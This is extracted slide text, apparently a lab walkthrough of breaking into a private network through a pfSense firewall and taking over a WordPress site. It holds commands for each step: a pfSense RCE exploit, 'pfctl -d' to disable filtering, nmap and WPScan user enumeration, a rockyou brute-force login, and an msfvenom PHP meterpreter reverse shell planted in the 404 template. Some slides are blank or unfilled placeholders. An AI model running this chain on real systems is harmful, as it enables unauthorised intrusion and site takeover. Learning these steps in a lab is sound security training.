How to access a private network and get WordPress by bypassing Pfsense firewall

2. 1

3. 2

4. 3
WPSCAN
WPScan is a black box
WordPress vulnerability
scanner
Tools

5. LAN address
10.10.10.1
WAN address
10.10.10.11
Concept
4
192.168.1.x
10.10.10.0

6. Title and Content Layout with List
• Add your first bullet point here
• Add your second bullet point here
• Add your third bullet point here
5

7. ?
A free and open source
operating system for
routers and firewalls
Can be installed on a
physical computer or a
virtual machine to make a
dedicated firewall/router for
a network
Configured as DHCP
server, DNS server, WIFI
access point, VPN server,
all running on the same
hardware device.
6

8. 7

9. Looking for the PfSense’s exploit
8

10. pfSense authenticated graph status RCE
Looking for the PfSense’s exploit
8
Tricking an authenticated admin
into interacting with a specially
crafted webpage
Click jacking Vulnerability In CSRF Error Page
pfSense
PfSense authenticated graph status RCE
A non-administrative authenticated attacker
can inject arbitrary operating system
commands and execute them as the root
user
PfSense authenticated group member RCE
A remote command execution
vulnerability post authentication in the
system_groupmanager.php page

11. Change the exploit’s options
9

12. Change the exploit’s options
9
Rhost = IP address of PFSENSE
Lhost = IP address of KALI

13. Run the exploit
10

14. Get the internal address of Pfsense
10

15. Ping & scan the internal address of PFSENSE
11
 Nmap –sP @ip
Ping Scan ip LAN pfsense

16. Can't reach the internal IP
of the firewall
12

17. Bypass pfsense
13

18. Reconfigure our gateway in Kali
14

19. Disable the rules of PFSENSE
15
Pfctl –d
Disable the packet filter

20. Change the default administrator password of PFSENSE
16

21. Ping the internal IP address
17

22. Scan with nmap both the Ubuntu & PfSense
18

23. we can ping the internal IP of pfsense
And by nmap we found
Now we can ping the internal IP of
pfsense
And by nmap we have found that
both PFSENSE and UBUNTU are UP
!!!
19

24. 20

25. we can ping the internal IP of pfsense
And by nmap we found
Scan WordPress version with Wpscan
21
 Wpscan –url
The url of the blog to scan

26. we can ping the internal IP of pfsense
And by nmap we found
Scan WordPress version with Wpscan
22

27. Enumerate WordPress Usernames
23
 Wpscan –url http://x.x.x.x -e u
enumerate users

28. Enumerate WordPress Usernames
24

29. Brut force attack using Wpscan
25
rockyou wordlist: is a password dictionary that exist by default in kali linux

30. Brut force attack using Wpscan
26
 Wpscan –url http://x.x.x.x –U admin –P /usr/share/wordlists/rockyou.txt
username and list of password to use during the attack

31. Generate malicious PHP script
27
msfvenom is a combination of :
• msfpayload (generate a payload in a specified format )
• msfencode (encode and obfuscate the payload using various algorithms)
 Msfvenom –p php/meterpreter/reverse_tcp lhost=@kali lport=4444 –f raw
payload to use format

32. Connect to Wordpress & Paste the PHP script under 404,php template
28

33. ss
Load Metasploit and start multi/handler
 Use exploit/multi/handler
a stub that handles exploits launched outside of the framework.
29

34. we can ping the internal IP of pfsense
And by nmap we found
THANK YOU
FOR YOUR
TIME